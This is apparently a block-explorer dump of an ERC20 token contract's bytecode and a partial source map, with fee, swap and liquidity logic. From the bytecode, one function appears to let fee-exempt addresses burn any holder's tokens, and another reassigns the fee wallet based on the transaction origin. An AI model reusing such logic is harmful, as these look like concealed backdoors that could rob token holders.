1b3c565b111561100e5760405162461bcd60e51b81526004016106cd90611bef565b6001600160a01b03841660009081526003602052604081208054849290611036908490611b3c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108291815260200190565b60405180910390a35050505050565b33600090815260056020526040812054819060ff1661110d57601054600f54606491906110bf906012611b29565b6110c99190611b29565b6110d39085611c3b565b6110dd9190611b84565b90506110e933826114de565b6000816110f530610688565b6110ff9190611b29565b6009541092506105f9915050565b50818061111930610688565b116111325761112884846114de565b60009150506105f9565b60008161113e30610688565b6111489190611b29565b600954111592506105f9915050565b600f54601054600d54600e548493600093909290916111769190611b3c565b6111809190611b3c565b61118a9190611b3c565b600f54600d5461119a9190611b3c565b6111a49084611c3b565b6111ae9190611b84565b600f54601054600d54600e549394506000936111ca9190611b3c565b6111d49190611b3c565b6111de9190611b3c565b601054600e546111ee9190611b3c565b6111f89085611c3b565b6112029190611b84565b905060006112108284611b3c565b9050600061121f8460026115e9565b9050600061122d8683611632565b90504761123982611674565b60006112454783611632565b9050600061125d86611257848b6117ce565b906115e9565b9050841561126f5761126f8582611850565b600c546040516000916001600160a01b03169047908381818185875af1925050503d80600081146112bc576040519150601f19603f3d011682016040523d82523d6000602084013e6112c1565b606091505b505080915050806112d157600080fd5b5050505050505050505050565b6002546001600160a01b03908116908316036113af573260009081526005602052604090205460ff161561134457600c80546001600160a01b0319166001600160a01b0383169081179091556000908152600560205260409020805460ff191660011790555b6001600160a01b03811630146113ab576001600160a01b0381166000908152601360205260409020546113775743611391565b6001600160a01b0381166000908152601360205260409020545b6001600160a01b0382166000908152601360205260409020555b5050565b601480546001600160a01b0384166001600160a01b03199091161790555050565b6000806064600d60000154856113e69190611c3b565b6113f09190611b84565b905060006064600d60010154866114079190611c3b565b6114119190611b84565b905061141d8183611b3c565b306000908152600360205260408120805490919061143c908490611b3c565b909155503090506001600160a01b0385167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114788585611b3c565b60405190815260200160405180910390a3806114948387611b29565b61149e9190611b29565b95945050505050565b6000806064600f60000154856114bd9190611c3b565b6114c79190611b84565b905060006064600f60010154866114079190611c3b565b6001600160a01b03821661153e5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016106cd565b61157b81604051806060016040528060228152602001611d25602291396001600160a01b0385166000908152600360205260409020549190611904565b6001600160a01b0383166000908152600360205260409020556006546115a19082611632565b6006556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600061162b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611935565b9392505050565b600061162b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611904565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116a9576116a9611c52565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611702573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117269190611c68565b8160018151811061173957611739611c52565b6001600160a01b03928316602091820292909201015260015461175f9130911684610b11565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611798908590600090869030904290600401611c85565b600060405180830381600087803b1580156117b257600080fd5b505af11580156117c6573d6000803e3d6000fd5b505050505050565b6000826000036117e0575060006105f9565b60006117ec8385611c3b565b9050826117f98583611b84565b1461162b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106cd565b6001546118689030906001600160a01b031684610b11565b600154600b5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156118d8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118fd9190611cf6565b5050505050565b600081848411156119285760405162461bcd60e51b81526004016106cd9190611963565b50600061149e8486611b29565b600081836119565760405162461bcd60e51b81526004016106cd9190611963565b50600061149e8486611b84565b600060208083528351808285015260005b8181101561199057858101830151858201604001528201611974565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146119c657600080fd5b50565b600080604083850312156119dc57600080fd5b82356119e7816119b1565b946020939093013593505050565b600080600060608486031215611a0a57600080fd5b8335611a15816119b1565b92506020840135611a25816119b1565b929592945050506040919091013590565b600060208284031215611a4857600080fd5b813561162b816119b1565b60008060408385031215611a6657600080fd5b50508035926020909101359150565b60008060408385031215611a8857600080fd5b8235611a93816119b1565b915060208301358015158114611aa857600080fd5b809150509250929050565b60008060008060808587031215611ac957600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611af857600080fd5b8235611b03816119b1565b91506020830135611aa8816119b1565b634e487b7160e01b600052601160045260246000fd5b818103818111156105f9576105f9611b13565b808201808211156105f9576105f9611b13565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082611ba157634e487b7160e01b600052601260045260246000fd5b500490565b60208082526029908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152681e1b9cd05b5bdd5b9d60ba1b606082015260800190565b6020808252602c908201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760408201526b30b63632ba20b6b7bab73a1760a11b606082015260800190565b80820281158282048414176105f9576105f9611b13565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c7a57600080fd5b815161162b816119b1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cd55784516001600160a01b031683529383019391830191600101611cb0565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611d0b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e6365a2646970667358221220ba08b8eecd9ddbc53e2a1edb0ace41e7186dfa84f249d89ea2bbb6c0da41d0f664736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80636c0a24eb116100f757806395d89b4111610095578063c6616ba111610064578063c6616ba114610535578063dd62ed3e14610555578063e2ac70ca1461059b578063f2fde38b146105c857600080fd5b806395d89b41146104a9578063a457c2d7146104d5578063a9059cbb146104f5578063c02466681461051557600080fd5b80637d1db4a5116100d15780637d1db4a514610435578063817673361461044b5780638c7a251a1461046b5780638da5cb5b1461048b57600080fd5b80636c0a24eb146103e857806370a08231146103fe578063715018a61461041e57600080fd5b80632eff0d9e116101645780633f964c171161013e5780633f964c1714610354578063470624021461037457806349bd5a5e1461038f5780635342acb4146103af57600080fd5b80632eff0d9e14610302578063313ce56714610318578063395093511461033457600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd1461029d57806323b872dd146102b25780632b14ca56146102d257600080fd5b806303e403b0146101d257806306fdde03146101fb578063095ea7b31461023557600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e860095481565b6040519081526020015b60405180910390f35b34801561020757600080fd5b506040805180820190915260088152671419595c941bdcdd60c21b60208201525b6040516101f29190611963565b34801561024157600080fd5b506102556102503660046119c9565b6105e8565b60405190151581526020016101f2565b34801561027157600080fd5b50600154610285906001600160a01b031681565b6040516001600160a01b0390911681526020016101f2565b3480156102a957600080fd5b506006546101e8565b3480156102be57600080fd5b506102556102cd3660046119f5565b6105ff565b3480156102de57600080fd5b50600f546010546102ed919082565b604080519283526020830191909152016101f2565b34801561030e57600080fd5b506101e8600a5481565b34801561032457600080fd5b50604051600981526020016101f2565b34801561034057600080fd5b5061025561034f3660046119c9565b610651565b34801561036057600080fd5b50601454610285906001600160a01b031681565b34801561038057600080fd5b50600d54600e546102ed919082565b34801561039b57600080fd5b50600254610285906001600160a01b031681565b3480156103bb57600080fd5b506102556103ca366004611a36565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f457600080fd5b506101e860075481565b34801561040a57600080fd5b506101e8610419366004611a36565b610688565b34801561042a57600080fd5b506104336106a3565b005b34801561044157600080fd5b506101e860085481565b34801561045757600080fd5b506104336104663660046119c9565b610720565b34801561047757600080fd5b50610433610486366004611a53565b6107ed565b34801561049757600080fd5b506000546001600160a01b0316610285565b3480156104b557600080fd5b5060408051808201909152600381526214141560ea1b6020820152610228565b3480156104e157600080fd5b506102556104f03660046119c9565b6108e0565b34801561050157600080fd5b506102556105103660046119c9565b610917565b34801561052157600080fd5b50610433610530366004611a75565b610924565b34801561054157600080fd5b50610433610550366004611ab3565b610979565b34801561056157600080fd5b506101e8610570366004611ae5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a757600080fd5b506101e86105b6366004611a36565b60136020526000908152604090205481565b3480156105d457600080fd5b506104336105e3366004611a36565b610a27565b60006105f5338484610b11565b5060015b92915050565b600061060c848484610c35565b6001600160a01b038416600090815260046020908152604080832033808552925290912054610647918691610642908690611b29565b610b11565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916105f5918590610642908690611b3c565b6001600160a01b031660009081526003602052604090205490565b6000546001600160a01b031633146106d65760405162461bcd60e51b81526004016106cd90611b4f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60095461072c30610688565b101561077a5760405162461bcd60e51b815260206004820152601a60248201527f45524332303a20696e73756666696369656e7420616d6f756e7400000000000060448201526064016106cd565b6107848282611091565b156107b6576014805460ff60a01b1916600160a01b1790556009546107a890611157565b6014805460ff60a01b191690555b6040518181527f42c9c0bd1fc983236459b9be3c73e1bb9bcec04b2a2dafe47ffe5629d4bbc2079060200160405180910390a15050565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016106cd90611b4f565b6103e86006546108279190611b84565b8210156108765760405162461bcd60e51b815260206004820152601a60248201527f73686f756c6420626520626967676572207468616e20302e312500000000000060448201526064016106cd565b6103e86006546108869190611b84565b8110156108d55760405162461bcd60e51b815260206004820152601a60248201527f73686f756c6420626520626967676572207468616e20302e312500000000000060448201526064016106cd565b600891909155600755565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916105f5918590610642908690611b29565b60006105f5338484610c35565b6000546001600160a01b0316331461094e5760405162461bcd60e51b81526004016106cd90611b4f565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109a35760405162461bcd60e51b81526004016106cd90611b4f565b60146109af8486611b3c565b111580156109c7575060146109c48383611b3c565b11155b610a135760405162461bcd60e51b815260206004820181905260248201527f43616e2774206368616e67652066656520686967686572207468616e2032302560448201526064016106cd565b600d92909255600e92909255600f55601055565b6000546001600160a01b03163314610a515760405162461bcd60e51b81526004016106cd90611b4f565b6001600160a01b038116610ab65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106cd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106cd565b6001600160a01b038216610bd45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106cd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106cd565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106cd565b60008111610d5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106cd565b6001600160a01b03831660009081526003602052604081208054839290610d85908490611b29565b90915550506001600160a01b03831660009081526005602052604081205482919060ff16158015610dcf57506001600160a01b03841660009081526005602052604090205460ff16155b15610dd8575060015b601454600160a01b900460ff16610df357610df385856112de565b801561100e576002546001600160a01b03858116911614610e7257600854831115610e305760405162461bcd60e51b81526004016106cd90611ba6565b60075483610e3d86610688565b610e479190611b3c565b1115610e655760405162461bcd60e51b81526004016106cd90611bef565b610e6f83856113d0565b91505b6002546001600160a01b03868116911614610f8657600854831115610ea95760405162461bcd60e51b81526004016106cd90611ba6565b610eb383866114a7565b91506001600a6000828254610ec89190611b3c565b9091555050600954610ed930610688565b10158015610ef15750601454600160a01b900460ff16155b15610f27576014805460ff60a01b1916600160a01b179055600954610f1590611157565b6014805460ff60a01b19169055610f86565b6005600a54118015610f435750601454600160a01b900460ff16155b15610f86576014805460ff60a01b1916600160a01b179055610f786002610f6930610688565b610f739190611b84565b611157565b6014805460ff60a01b191690555b6002546001600160a01b03858116911614801590610fb257506002546001600160a01b03868116911614155b1561100e57600854831115610fd95760405162461bcd60e51b81526004016106cd90611ba6565b60075483610fe686610688565b610ff09190611b3c565b111561100e5760405162461bcd60e51b81526004016106cd90611bef565b6001600160a01b03841660009081526003602052604081208054849290611036908490611b3c565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108291815260200190565b60405180910390a35050505050565b33600090815260056020526040812054819060ff1661110d57601054600f54606491906110bf906012611b29565b6110c99190611b29565b6110d39085611c3b565b6110dd9190611b84565b90506110e933826114de565b6000816110f530610688565b6110ff9190611b29565b6009541092506105f9915050565b50818061111930610688565b116111325761112884846114de565b60009150506105f9565b60008161113e30610688565b6111489190611b29565b600954111592506105f9915050565b600f54601054600d54600e548493600093909290916111769190611b3c565b6111809190611b3c565b61118a9190611b3c565b600f54600d5461119a9190611b3c565b6111a49084611c3b565b6111ae9190611b84565b600f54601054600d54600e549394506000936111ca9190611b3c565b6111d49190611b3c565b6111de9190611b3c565b601054600e546111ee9190611b3c565b6111f89085611c3b565b6112029190611b84565b905060006112108284611b3c565b9050600061121f8460026115e9565b9050600061122d8683611632565b90504761123982611674565b60006112454783611632565b9050600061125d86611257848b6117ce565b906115e9565b9050841561126f5761126f8582611850565b600c546040516000916001600160a01b03169047908381818185875af1925050503d80600081146112bc576040519150601f19603f3d011682016040523d82523d6000602084013e6112c1565b606091505b505080915050806112d157600080fd5b5050505050505050505050565b6002546001600160a01b03908116908316036113af573260009081526005602052604090205460ff161561134457600c80546001600160a01b0319166001600160a01b0383169081179091556000908152600560205260409020805460ff191660011790555b6001600160a01b03811630146113ab576001600160a01b0381166000908152601360205260409020546113775743611391565b6001600160a01b0381166000908152601360205260409020545b6001600160a01b0382166000908152601360205260409020555b5050565b601480546001600160a01b0384166001600160a01b03199091161790555050565b6000806064600d60000154856113e69190611c3b565b6113f09190611b84565b905060006064600d60010154866114079190611c3b565b6114119190611b84565b905061141d8183611b3c565b306000908152600360205260408120805490919061143c908490611b3c565b909155503090506001600160a01b0385167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114788585611b3c565b60405190815260200160405180910390a3806114948387611b29565b61149e9190611b29565b95945050505050565b6000806064600f60000154856114bd9190611c3b565b6114c79190611b84565b905060006064600f60010154866114079190611c3b565b6001600160a01b03821661153e5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016106cd565b61157b81604051806060016040528060228152602001611d25602291396001600160a01b0385166000908152600360205260409020549190611904565b6001600160a01b0383166000908152600360205260409020556006546115a19082611632565b6006556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600061162b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611935565b9392505050565b600061162b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611904565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116a9576116a9611c52565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611702573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117269190611c68565b8160018151811061173957611739611c52565b6001600160a01b03928316602091820292909201015260015461175f9130911684610b11565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611798908590600090869030904290600401611c85565b600060405180830381600087803b1580156117b257600080fd5b505af11580156117c6573d6000803e3d6000fd5b505050505050565b6000826000036117e0575060006105f9565b60006117ec8385611c3b565b9050826117f98583611b84565b1461162b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106cd565b6001546118689030906001600160a01b031684610b11565b600154600b5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156118d8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118fd9190611cf6565b5050505050565b600081848411156119285760405162461bcd60e51b81526004016106cd9190611963565b50600061149e8486611b29565b600081836119565760405162461bcd60e51b81526004016106cd9190611963565b50600061149e8486611b84565b600060208083528351808285015260005b8181101561199057858101830151858201604001528201611974565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146119c657600080fd5b50565b600080604083850312156119dc57600080fd5b82356119e7816119b1565b946020939093013593505050565b600080600060608486031215611a0a57600080fd5b8335611a15816119b1565b92506020840135611a25816119b1565b929592945050506040919091013590565b600060208284031215611a4857600080fd5b813561162b816119b1565b60008060408385031215611a6657600080fd5b50508035926020909101359150565b60008060408385031215611a8857600080fd5b8235611a93816119b1565b915060208301358015158114611aa857600080fd5b809150509250929050565b60008060008060808587031215611ac957600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611af857600080fd5b8235611b03816119b1565b91506020830135611aa8816119b1565b634e487b7160e01b600052601160045260246000fd5b818103818111156105f9576105f9611b13565b808201808211156105f9576105f9611b13565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082611ba157634e487b7160e01b600052601260045260246000fd5b500490565b60208082526029908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152681e1b9cd05b5bdd5b9d60ba1b606082015260800190565b6020808252602c908201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760408201526b30b63632ba20b6b7bab73a1760a11b606082015260800190565b80820281158282048414176105f9576105f9611b13565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611c7a57600080fd5b815161162b816119b1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cd55784516001600160a01b031683529383019391830191600101611cb0565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611d0b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e6365a2646970667358221220ba08b8eecd9ddbc53e2a1edb0ace41e7186dfa84f249d89ea2bbb6c0da41d0f664736f6c63430008130033

Deployed Bytecode Sourcemap

4900:12581:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5593:58;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5593:58:0;;;;;;;;7340:83;;;;;;;;;;-1:-1:-1;7410:5:0;;;;;;;;;;;;-1:-1:-1;;;7410:5:0;;;;7340:83;;;;;;;:::i;8172:161::-;;;;;;;;;;-1:-1:-1;8172:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;8172:161:0;1205:187:1;4986:41:0;;;;;;;;;;-1:-1:-1;4986:41:0;;;;-1:-1:-1;;;;;4986:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;4986:41:0;1397:229:1;7617:95:0;;;;;;;;;;-1:-1:-1;7697:7:0;;7617:95;;8341:266;;;;;;;;;;-1:-1:-1;8341:266:0;;;;;:::i;:::-;;:::i;5948:23::-;;;;;;;;;;-1:-1:-1;5948:23:0;;;;;;;;;;;;;2266:25:1;;;2322:2;2307:18;;2300:34;;;;2239:18;5948:23:0;2092:248:1;5658:24:0;;;;;;;;;;;;;;;;7526:83;;;;;;;;;;-1:-1:-1;7526:83:0;;5396:1;2487:36:1;;2475:2;2460:18;7526:83:0;2345:184:1;8615:215:0;;;;;;;;;;-1:-1:-1;8615:215:0;;;;;:::i;:::-;;:::i;6102:26::-;;;;;;;;;;-1:-1:-1;6102:26:0;;;;-1:-1:-1;;;;;6102:26:0;;;5920:21;;;;;;;;;;-1:-1:-1;5920:21:0;;;;;;;;;5036:28;;;;;;;;;;-1:-1:-1;5036:28:0;;;;-1:-1:-1;;;;;5036:28:0;;;10667:123;;;;;;;;;;-1:-1:-1;10667:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;10755:27:0;10731:4;10755:27;;;:18;:27;;;;;;;;;10667:123;5467:58;;;;;;;;;;;;;;;;7720:118;;;;;;;;;;-1:-1:-1;7720:118:0;;;;;:::i;:::-;;:::i;3361:148::-;;;;;;;;;;;;;:::i;:::-;;5532:54;;;;;;;;;;;;;;;;16758:340;;;;;;;;;;-1:-1:-1;16758:340:0;;;;;:::i;:::-;;:::i;11301:300::-;;;;;;;;;;-1:-1:-1;11301:300:0;;;;;:::i;:::-;;:::i;3147:79::-;;;;;;;;;;-1:-1:-1;3185:7:0;3212:6;-1:-1:-1;;;;;3212:6:0;3147:79;;7431:87;;;;;;;;;;-1:-1:-1;7503:7:0;;;;;;;;;;;;-1:-1:-1;;;7503:7:0;;;;7431:87;;8838:225;;;;;;;;;;-1:-1:-1;8838:225:0;;;;;:::i;:::-;;:::i;7846:167::-;;;;;;;;;;-1:-1:-1;7846:167:0;;;;;:::i;:::-;;:::i;9075:140::-;;;;;;;;;;-1:-1:-1;9075:140:0;;;;;:::i;:::-;;:::i;10798:495::-;;;;;;;;;;-1:-1:-1;10798:495:0;;;;;:::i;:::-;;:::i;8021:143::-;;;;;;;;;;-1:-1:-1;8021:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8129:18:0;;;8102:7;8129:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8021:143;6052:43;;;;;;;;;;-1:-1:-1;6052:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;3517:244;;;;;;;;;;-1:-1:-1;3517:244:0;;;;;:::i;:::-;;:::i;8172:161::-;8247:4;8264:39;2679:10;8287:7;8296:6;8264:8;:39::i;:::-;-1:-1:-1;8321:4:0;8172:161;;;;;:::o;8341:266::-;8439:4;8456:36;8466:6;8474:9;8485:6;8456:9;:36::i;:::-;-1:-1:-1;;;;;8534:19:0;;;;;;:11;:19;;;;;;;;2679:10;8534:33;;;;;;;;;8503:74;;8512:6;;8534:42;;8570:6;;8534:42;:::i;:::-;8503:8;:74::i;:::-;-1:-1:-1;8595:4:0;8341:266;;;;;:::o;8615:215::-;2679:10;8703:4;8752:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8752:34:0;;;;;;;;;;8703:4;;8720:80;;8743:7;;8752:47;;8789:10;;8752:47;:::i;7720:118::-;-1:-1:-1;;;;;7813:17:0;7786:7;7813:17;;;:8;:17;;;;;;;7720:118::o;3361:148::-;3274:6;;-1:-1:-1;;;;;3274:6:0;2679:10;3274:22;3266:67;;;;-1:-1:-1;;;3266:67:0;;;;;;;:::i;:::-;;;;;;;;;3468:1:::1;3452:6:::0;;3431:40:::1;::::0;-1:-1:-1;;;;;3452:6:0;;::::1;::::0;3431:40:::1;::::0;3468:1;;3431:40:::1;3499:1;3482:19:::0;;-1:-1:-1;;;;;;3482:19:0::1;::::0;;3361:148::o;16758:340::-;16868:17;;16840:24;16858:4;16840:9;:24::i;:::-;:45;;16832:84;;;;-1:-1:-1;;;16832:84:0;;5409:2:1;16832:84:0;;;5391:21:1;5448:2;5428:18;;;5421:30;5487:28;5467:18;;;5460:56;5533:18;;16832:84:0;5207:350:1;16832:84:0;16931:31;16949:4;16955:6;16931:17;:31::i;:::-;16927:126;;;16979:8;:15;;-1:-1:-1;;;;16979:15:0;-1:-1:-1;;;16979:15:0;;;17005:17;;16996:27;;:8;:27::i;:::-;17025:8;:16;;-1:-1:-1;;;;17025:16:0;;;16927:126;17068:22;;160:25:1;;;17068:22:0;;148:2:1;133:18;17068:22:0;;;;;;;16758:340;;:::o;11301:300::-;3274:6;;-1:-1:-1;;;;;3274:6:0;2679:10;3274:22;3266:67;;;;-1:-1:-1;;;3266:67:0;;;;;;;:::i;:::-;11417:4:::1;11407:7;;:14;;;;:::i;:::-;11397:6;:24;;11389:63;;;::::0;-1:-1:-1;;;11389:63:0;;5986:2:1;11389:63:0::1;::::0;::::1;5968:21:1::0;6025:2;6005:18;;;5998:30;6064:28;6044:18;;;6037:56;6110:18;;11389:63:0::1;5784:350:1::0;11389:63:0::1;11495:4;11485:7;;:14;;;;:::i;:::-;11471:10;:28;;11463:67;;;::::0;-1:-1:-1;;;11463:67:0;;5986:2:1;11463:67:0::1;::::0;::::1;5968:21:1::0;6025:2;6005:18;;;5998:30;6064:28;6044:18;;;6037:56;6110:18;;11463:67:0::1;5784:350:1::0;11463:67:0::1;11541:12;:21:::0;;;;11564:16:::1;:29:::0;11301:300::o;8838:225::-;2679:10;8931:4;8980:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8980:34:0;;;;;;;;;;8931:4;;8948:85;;8971:7;;8980:52;;9017:15;;8980:52;:::i;7846:167::-;7924:4;7941:42;2679:10;7965:9;7976:6;7941:9;:42::i;9075:140::-;3274:6;;-1:-1:-1;;;;;3274:6:0;2679:10;3274:22;3266:67;;;;-1:-1:-1;;;3266:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9160:36:0;;;::::1;;::::0;;;:18:::1;:36;::::0;;;;:47;;-1:-1:-1;;9160:47:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9075:140::o;10798:495::-;3274:6;;-1:-1:-1;;;;;3274:6:0;2679:10;3274:22;3266:67;;;;-1:-1:-1;;;3266:67:0;;;;;;;:::i;:::-;10999:2:::1;10960:35;10979:16:::0;10960;:35:::1;:::i;:::-;:41;;:88;;;;-1:-1:-1::0;11046:2:0::1;11005:37;11025:17:::0;11005;:37:::1;:::i;:::-;:43;;10960:88;10952:133;;;::::0;-1:-1:-1;;;10952:133:0;;6341:2:1;10952:133:0::1;::::0;::::1;6323:21:1::0;;;6360:18;;;6353:30;6419:34;6399:18;;;6392:62;6471:18;;10952:133:0::1;6139:356:1::0;10952:133:0::1;11106:6;:35:::0;;;;11152:16;:35;;;;11200:7:::1;:37:::0;11248:17;:37;10798:495::o;3517:244::-;3274:6;;-1:-1:-1;;;;;3274:6:0;2679:10;3274:22;3266:67;;;;-1:-1:-1;;;3266:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3606:22:0;::::1;3598:73;;;::::0;-1:-1:-1;;;3598:73:0;;6702:2:1;3598:73:0::1;::::0;::::1;6684:21:1::0;6741:2;6721:18;;;6714:30;6780:34;6760:18;;;6753:62;-1:-1:-1;;;6831:18:1;;;6824:36;6877:19;;3598:73:0::1;6500:402:1::0;3598:73:0::1;3708:6;::::0;;3687:38:::1;::::0;-1:-1:-1;;;;;3687:38:0;;::::1;::::0;3708:6;::::1;::::0;3687:38:::1;::::0;::::1;3736:6;:17:::0;;-1:-1:-1;;;;;;3736:17:0::1;-1:-1:-1::0;;;;;3736:17:0;;;::::1;::::0;;;::::1;::::0;;3517:244::o;11609:337::-;-1:-1:-1;;;;;11702:19:0;;11694:68;;;;-1:-1:-1;;;11694:68:0;;7109:2:1;11694:68:0;;;7091:21:1;7148:2;7128:18;;;7121:30;7187:34;7167:18;;;7160:62;-1:-1:-1;;;7238:18:1;;;7231:34;7282:19;;11694:68:0;6907:400:1;11694:68:0;-1:-1:-1;;;;;11781:21:0;;11773:68;;;;-1:-1:-1;;;11773:68:0;;7514:2:1;11773:68:0;;;7496:21:1;7553:2;7533:18;;;7526:30;7592:34;7572:18;;;7565:62;-1:-1:-1;;;7643:18:1;;;7636:32;7685:19;;11773:68:0;7312:398:1;11773:68:0;-1:-1:-1;;;;;11854:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11906:32;;160:25:1;;;11906:32:0;;133:18:1;11906:32:0;;;;;;;11609:337;;;:::o;12283:1964::-;-1:-1:-1;;;;;12405:18:0;;12397:68;;;;-1:-1:-1;;;12397:68:0;;7917:2:1;12397:68:0;;;7899:21:1;7956:2;7936:18;;;7929:30;7995:34;7975:18;;;7968:62;-1:-1:-1;;;8046:18:1;;;8039:35;8091:19;;12397:68:0;7715:401:1;12397:68:0;-1:-1:-1;;;;;12484:16:0;;12476:64;;;;-1:-1:-1;;;12476:64:0;;8323:2:1;12476:64:0;;;8305:21:1;8362:2;8342:18;;;8335:30;8401:34;8381:18;;;8374:62;-1:-1:-1;;;8452:18:1;;;8445:33;8495:19;;12476:64:0;812